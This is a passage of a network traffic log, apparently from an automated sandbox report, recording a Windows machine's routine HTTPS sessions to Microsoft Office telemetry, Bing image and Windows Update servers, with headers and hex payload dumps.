2024-11-23 01:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: a69f297f-901e-002a-244c-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015523Z-15b8b599d88m7pn7hC1TEB4axw00000002b00000000079bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:23 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015523Z-174c587ffdfcb7qhhC1TEB3x7000000002e00000000024qs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49757	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:23 UTC	346	OUT	GET /th?id=OADD2.10239385875221_117D6BR0FMTM7OD16&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:23 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 337628 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 578EDB0FA0914C7D99F25B7969E4B2C0 Ref B: EWR311000101019 Ref C: 2024-11-23T01:55:23Z Date: Sat, 23 Nov 2024 01:55:23 GMT Connection: close
2024-11-23 01:55:23 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 30 39 20 31 38 3a 32 35 3a 30 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.4 (Windows)2024:04:09 18:25:038C
2024-11-23 01:55:23 UTC	16384	IN	Data Raw: f9 eb 54 2d fe 79 bc ba de f1 06 8f 25 84 df bb ff 00 b6 55 83 22 49 e7 79 7f f2 d2 bd ca 35 21 35 cd 13 cd 9d 39 c0 2e 12 34 9b cb 8e 88 db 67 ef 2b a4 8e ca ca da ca 1f dc 7e f3 fe 5a d6 0e a9 6f 1c 37 9f bb a8 85 6e 72 f9 39 0f 54 f0 5b f9 df 65 b8 8f f7 b1 c5 5e a7 63 14 91 41 98 ff 00 77 5f 3f fc 37 d6 ff 00 b3 67 ff 00 a6 72 ff 00 e8 75 ed 5e 18 d6 e3 d4 6c f6 0a f8 9c da 8c e3 53 c8 ef 7f bd a3 ee fc c8 b5 ab 6f ed 49 be cf 9f 2a 48 eb cf fe 2e 78 3e e2 ca de 5b db 79 fc cb 7f f9 e2 6b d5 f4 d5 8f 50 9b 77 fa b9 e2 ac bf 1e 58 0b eb 29 22 92 b9 70 b8 a9 d2 9c 4a 85 47 29 aa 47 cc 92 26 ca f5 7f 86 1a bf d8 74 ab 51 24 df eb 7f d6 d7 3b e3 cf 08 0d 2e 18 af 22 9f f7 7f f3 ca a8 fd a3 c9 b2 87 cb ff 00 96 55 f4 d8 a9 c3 1b 47 dd 14 29 ca 94 fd e3 e8 Data Ascii: T-y%U"Iy5!59.4g+~Zo7nr9T[e^cAw_?7gru^lSoI*H.x>[ykPwX)"pJG)G&tQ$;."UG)
2024-11-23 01:55:24 UTC	16384	IN	Data Raw: 59 fe d0 db 5c 7f da fc 9b 28 bc ca bf 67 f6 9b 9f 2a 48 ff 00 d5 d7 99 3a 27 41 67 5c b8 ff 00 9e 75 cc 6b 17 71 c3 0f ef 3f e5 95 74 97 9a 56 a0 f0 f9 91 c3 e6 d6 4a f8 43 55 d6 7f 70 87 ec b6 f5 bd 0e 48 13 51 c8 e2 af 2f be d3 7d e5 c7 fe b2 5a d2 d3 f4 ab 9b 69 bc c8 ff 00 7b 25 6c eb df 0f 35 4d 0b fe 26 11 1f b5 47 1f fa da bd a1 db c8 fa 5f da 23 83 f7 72 d7 a1 3c 64 39 3d d3 1a 14 b9 c9 ac ee 24 48 7f e9 a5 6a 78 61 63 9a f3 cc 92 a1 d2 34 3b 8d 46 6e 7f 75 1f fc b5 ab 91 e8 d7 9a 6f 9b 26 7c da f2 2b 4e 07 4d d7 3f 25 ce 81 56 0b 78 7c b1 5c fd f6 95 1d f6 a5 14 b2 7f cb 2a 5f b5 c8 9f eb 3f d6 55 3d 2f 50 f2 bc df 32 b8 a1 19 97 0a 7c 87 7d a5 49 1c 50 d4 9a 85 de f8 6b 9d b7 bf d9 0f 5a 65 c6 a1 be b1 e4 f7 ce 3f a9 fe f3 98 9b 50 9f 12 d6 46 Data Ascii: Y\(gH:'Ag\ukq?tVJCUpHQ/}Zi{%l5M&G_#r<d9=$Hjxac4;Fnuo&\|+NM?%Vx\|\_?U=/P2\|}IPkZe?PF
2024-11-23 01:55:24 UTC	16384	IN	Data Raw: f9 75 e5 7e 1f ba fb 1e a9 15 e7 fc f2 ff 00 55 5e 93 f0 af 42 b0 d5 61 93 c4 1e 21 80 49 24 d2 ff 00 a2 db 1f b8 2b cc cc e8 42 33 f6 b2 d8 e9 c1 d7 b4 0e e7 e1 e5 fc f7 ba 6c 77 32 0f 2a 4f 32 bd 03 4f be 12 5a 7e f3 f7 66 bc bb c4 5a e8 b2 5f 3e 39 e1 8f cb ff 00 96 46 9f e1 2f 17 8d 46 69 6d de 6f de 45 5f 33 52 8c ff 00 8b 08 93 8b c1 7d 63 df 3d 66 d6 78 e6 fb 95 24 b1 47 27 df ae 63 c3 ef b3 ca 92 39 fc c8 e4 ad bf b6 c6 95 cf 09 ff 00 31 e0 55 a0 e1 3f 74 c5 f1 27 87 1e ea 0f dc 4b 5e 79 e2 7f 86 c2 eb f7 91 cf e4 c9 ff 00 3d 6b d5 e7 d4 e2 6f b9 59 d2 3f 9d 37 ee ff 00 d5 d3 85 79 d2 9f ba 7a 78 5c 66 26 10 e5 96 c7 8a b7 c3 cd 47 4b 9a 59 2c e6 f3 23 9b fe 5a 47 ff 00 2c eb 3b c7 16 f6 57 3a a4 52 49 fb ab 8f f5 7e 6f fc f4 af 7a b7 02 05 97 8c Data Ascii: u~U^Ba!I$+B3lw2*O2OZ~fZ_>9F/FimoE_3R}c=fx$G'c91U?t'K^y=koY?7yzx\f&GKY,#ZG,;W:RI~oz
2024-11-23 01:55:24 UTC	16384	IN	Data Raw: 9f c7 04 a7 fe 5d eb 87 8d a4 ff 00 59 1c fe 55 c4 52 f9 91 79 55 a5 1d c5 eb f9 b1 db cf 35 87 da a5 8e e6 58 a2 ff 00 96 8f 1f f7 ab 6f 87 e3 33 77 e8 7a 37 82 bc 31 e3 5d 62 c6 cf c6 7f 6a 9f 4c bf d1 41 b3 3a 64 90 8c 5d 40 bf f2 cd eb 47 e2 17 8b f4 fd 47 c2 32 f8 7a 4d 32 f6 c3 cb b8 c4 72 e3 62 40 7e f6 2b ae f8 71 f1 2e 2d 72 d6 e8 6b af 67 a4 fd 9a 54 11 7e ff 00 fd 65 79 67 c5 9d 61 f5 3d 62 fa fe ca 6f 37 4b b8 93 ca ba f2 be ef 9b 1f dc 7a da bf b1 f6 71 f6 52 7a ee 70 52 95 4a 95 ff 00 7d 0b 72 ec 72 1a a6 a1 71 73 37 99 71 3f 9b 27 fa bf 36 5a a1 f6 ba ad a8 79 89 35 43 27 cf 37 99 27 ee ab 1e 43 bc b9 24 b2 ff 00 ac a2 de 5d 93 7e f3 f7 52 45 54 23 79 5f f7 72 51 e7 7f 9c d5 fb 30 35 6e 2e 2d 93 cd 93 c8 fd df fc f2 ab 97 16 9a d4 d3 69 fa Data Ascii: ]YURyU5Xo3wz71]bjLA:d]@GG2zM2rb@~+q.-rkgT~eyga=bo7KzqRzpRJ}rrqs7q?'6Zy5C'7'C$]~RET#y_rQ05n.-i
2024-11-23 01:55:24 UTC	16384	IN	Data Raw: b9 cc 31 4a bc 61 ee a5 64 6d e8 25 2d 61 fd e7 df ab be 78 9b fd 5d 61 df 49 3c 92 7c 9e 4d 66 ae a5 22 43 27 97 37 96 f5 c5 ec e7 33 c9 fa 9b ab ef 75 3b 6b 59 98 c7 f3 d4 92 3c 63 ad 73 7e 16 9a e3 c9 d9 3d 5c d7 65 78 97 fd 16 5f 9e a3 9e 7f 01 c7 2c 37 ef b9 03 58 be b7 58 77 d4 76 b3 f9 b6 71 c9 59 42 ca 04 86 39 ee f1 23 c9 fe b2 b5 9d e3 b6 eb f7 2b 3e 43 a6 54 e1 18 f2 c7 52 95 dd 84 6f 0c 90 bf dc 92 b9 2d 7f 49 f2 bc c7 79 ab b1 8f 50 8e 69 bc ba c9 f1 44 56 f2 c3 be 4f b9 1d 75 50 9c e0 7a 38 2a d5 21 53 96 47 9e 5c 27 ef fc ba b9 67 6f 25 b7 fa cf f9 6b fe aa af ea 11 59 43 37 ee ea 5d 25 7e dd 36 4d 7a 73 ad cf 4c f6 2f f6 cb fa 25 84 f7 1f bc 43 5d 76 97 6b be 1f 32 3a aa 8b f6 6b 1f 31 21 ff 00 96 75 07 87 b5 39 d6 e2 58 24 ff 00 57 5c 13 Data Ascii: 1Jadm%-ax]aI<\|Mf"C'73u;kY<cs~=\ex_,7XXwvqYB9#+>CTRo-IyPiDVOuPz8*!SG\'go%kYC7]%~6MzsL/%C]vk2:k1!u9X$W\
2024-11-23 01:55:24 UTC	16384	IN	Data Raw: 4f a1 cb fb 8f fb 65 5d 3e 9d 5c 97 87 e5 d9 04 5f f3 ce ba 7d 2d f7 fe f2 b1 36 fb 06 94 7f f3 d2 4a 36 7e fb cc a2 dd b7 f9 55 36 da 09 19 71 46 f8 fc 9a 7c 94 46 9f be ac c0 23 7f f9 69 4c d4 3c cf 27 cc 8e 99 53 5c 7c f0 f9 72 7f ab 96 b4 03 1e de 5d 93 79 75 bd 1d c6 f8 62 93 fe 7a d7 31 e6 fe fb cb ff 00 96 9f ea eb 57 4f 7f f4 2f 2e a8 a3 57 7d 3e e1 7c e8 7c ba cd fb 45 5f 8d e8 03 ce be 20 69 5f 6f b2 96 de 4f f9 65 fe aa bc 1f e2 06 89 f6 3f de 7f cb 3a fa 7f c5 16 5b ff 00 79 1f ff 00 bc af 22 f8 91 a3 ef 86 68 e3 83 f7 75 bc 02 5e f1 e0 f7 11 79 3f ea ea b7 fd 73 ff 00 57 5a fa c5 94 70 de cb 6f 27 fc b2 ac e9 1f 67 ee ea cc 46 69 f1 7e fa 58 e4 ff 00 57 57 2d e1 8e 69 aa b5 9b c7 e7 f9 9f f2 d2 ae 69 f2 ec 9b ed 11 fe f6 b1 99 70 33 75 44 df Data Ascii: Oe]>\_}-6J6~U6qF\|F#iL<'S\\|r]yubz1WO/.W}>\|\|E_ i_oOe?:[y"hu^y?sWZpo'gFi~XWW-iip3uD
2024-11-23 01:55:24 UTC	16069	IN	Data Raw: fb 3f fd 1b 15 22 e0 78 fe b1 6f 2c 3a a4 b1 d7 43 e1 ff 00 9f c3 de 5f fc f2 8a a9 f8 c2 d3 66 b5 ff 00 6d 6a 6f 0b cb fe 87 2d 69 f6 08 f8 66 7a 2f 85 e5 fb 4f 86 61 92 4f f9 65 5d 87 c3 f7 ff 00 89 5c 5e 64 ff 00 f2 d6 b8 0f 87 f2 ff 00 c5 3f e5 d7 6b e0 39 77 d9 4d ff 00 3d 22 96 b9 6b 1d b4 cf 49 d2 ff 00 d7 45 24 75 5b c7 9a 7f da 61 9b f7 1e 6f 9b 46 8e f2 7e ea b5 75 c8 b7 d9 79 95 ca 6d 33 e7 5d 62 ca 44 9e 6b 39 2b c1 3c 59 6f 1d b6 a9 75 67 ff 00 4d 6b e9 ff 00 8a 16 5f 63 d5 3e d9 1f fd fa af 9e fe 2e 5b fd 9b 5a 96 4f f9 eb 5d b4 4f 3e b4 0e 33 fe 58 fe f2 bd 17 e1 1b ec f0 ed d4 91 ff 00 cb 59 6b ce b6 6f b2 ff 00 ae 55 dc fc 23 b8 91 e0 ba b7 ad e6 45 3f 8c ec f5 49 64 7f 2a 4a 7e 9f 2f fc b3 a6 49 16 fd 2e 8b 38 bf 7d e5 d6 66 c3 2f 2d 37 Data Ascii: ?"xo,:C_fmjo-ifz/OaOe]\^d?k9wM="kIE$u[aoF~uym3]bDk9+<YougMk_c>.[ZO]O>3XYkoU#E?Id*J~/I.8}f/-7
2024-11-23 01:55:24 UTC	16384	IN	Data Raw: 67 ee d2 1f 2e ac c7 2c 6f e5 79 94 fd 9f be f2 ff 00 e5 9d 04 10 fd f9 bc bf df 53 3e ff 00 fd 74 a7 c8 9f f2 ce 4a b9 1d bc 8f 37 fd 33 ac c0 86 ce de 4f f9 67 fb d8 ea e4 96 fb 2c a9 fb e3 87 f7 91 d1 22 7e e7 cb ff 00 9e b5 1f 6c d0 86 34 8f ff 00 8d 56 ae 9e 9f b9 8b cb ff 00 59 15 66 d9 a7 fc f3 ad 8b 74 ff 00 55 e5 cf e6 d5 97 4c 9b 67 fc f3 ae 9f c3 7f ea 65 f3 3f e7 95 60 d9 ac 6f 07 fd 75 ad ef 0d c5 fb 9f b3 c7 ff 00 3c aa 27 32 e0 6c 68 f5 d8 68 7f 21 ae 4b 4f 5d 93 45 ff 00 3d 2b a7 d1 ee 3f 73 2c 75 81 bd 33 bf d1 e5 ff 00 c8 b5 d5 46 fb e1 96 b8 cd 0e 5d fe 54 95 d9 e9 72 fe e7 cb ff 00 5b 5c d5 0e 9a 25 ff 00 0d bf fc b3 ab 9e 24 48 9e c6 5f fa 65 54 f4 b4 d9 7b e5 d6 96 a1 f3 d9 7e ee b0 34 fb 67 88 7c 4c b7 df e5 5c 47 fb af f9 eb 2d 72 Data Ascii: g.,oyS>tJ73Og,"~l4VYftULge?`ou<'2lhh!KO]E=+?s,u3F]Tr[\%$H_eT{~4g\|L\G-r
2024-11-23 01:55:24 UTC	16384	IN	Data Raw: 1b 8b 28 d2 6f b3 f9 1e 57 9b fb ca b3 65 a2 dc 79 32 c9 71 e7 45 1d ae cf 2a 58 bf e5 a5 6c 49 a7 c7 f6 c8 b5 08 e7 86 59 22 8b f7 5e 6f fc b4 ac 67 5a 11 98 fe 13 9b df fe b7 fe 59 79 b4 49 37 fa af 33 f7 55 b1 6f 69 a4 de 43 f6 7f df 5a ea 1f f2 ca 5f f6 bf db a9 b4 fd 28 43 34 52 5e 7f ab 8b fe 07 f6 8a 3e b3 02 e1 ef 8c d3 ec 6f 75 58 3f d1 ff 00 75 1f fe 8c ad 5b 7d 1e ca c2 f2 19 2e 2f bc db 7f f9 65 17 ff 00 15 54 e4 bb 8f 47 f3 64 fd f7 fc f4 f2 bf e7 9d 73 1a c6 a1 71 34 de 67 9f e6 c9 ff 00 2c ab 96 30 ad 56 7d a2 68 77 f7 9a 9e 94 9f e8 76 f3 f9 51 df cb fb df dc d5 cb 3b 7d 3a ce 6f f5 10 f9 97 5f bb 96 2f fe 26 b8 3b 39 64 9b ca bc b8 9f fe ba ff 00 bd 57 f4 b7 fb 4c ff 00 6c fd f7 99 ff 00 3d 6a 2a 61 b9 20 6d ce 76 7f 6b 95 e6 f2 ec e0 f2 Data Ascii: (oWey2qEXlIY"^ogZYyI73UoiCZ_(C4R^>ouX?u[}./eTGdsq4g,0V}hwvQ;}:o_/&;9dWLl=ja mvk

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:23 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:24 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015524Z-178bfbc474bh5zbqhC1NYCkdug00000003sg000000007qra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:24 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49764	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+Fpfdok9HKr2uev&MD=SvtX7gKP HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 01:55:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: fd644c7a-cd0c-4531-acfd-d19cb58c48e2 MS-RequestId: 56c50ab9-f166-4b1c-b8b9-4689a77508d2 MS-CV: 5toO3tO70UGbOzAR.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 01:55:24 GMT Connection: close Content-Length: 24490
2024-11-23 01:55:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-23 01:55:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49767	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:24 UTC	346	OUT	GET /th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:25 UTC	863	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 637660 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: DA9DEA93AAA54B1F87F95F6889B59B1A Ref B: EWR311000104045 Ref C: 2024-11-23T01:55:25Z Date: Sat, 23 Nov 2024 01:55:25 GMT Connection: close
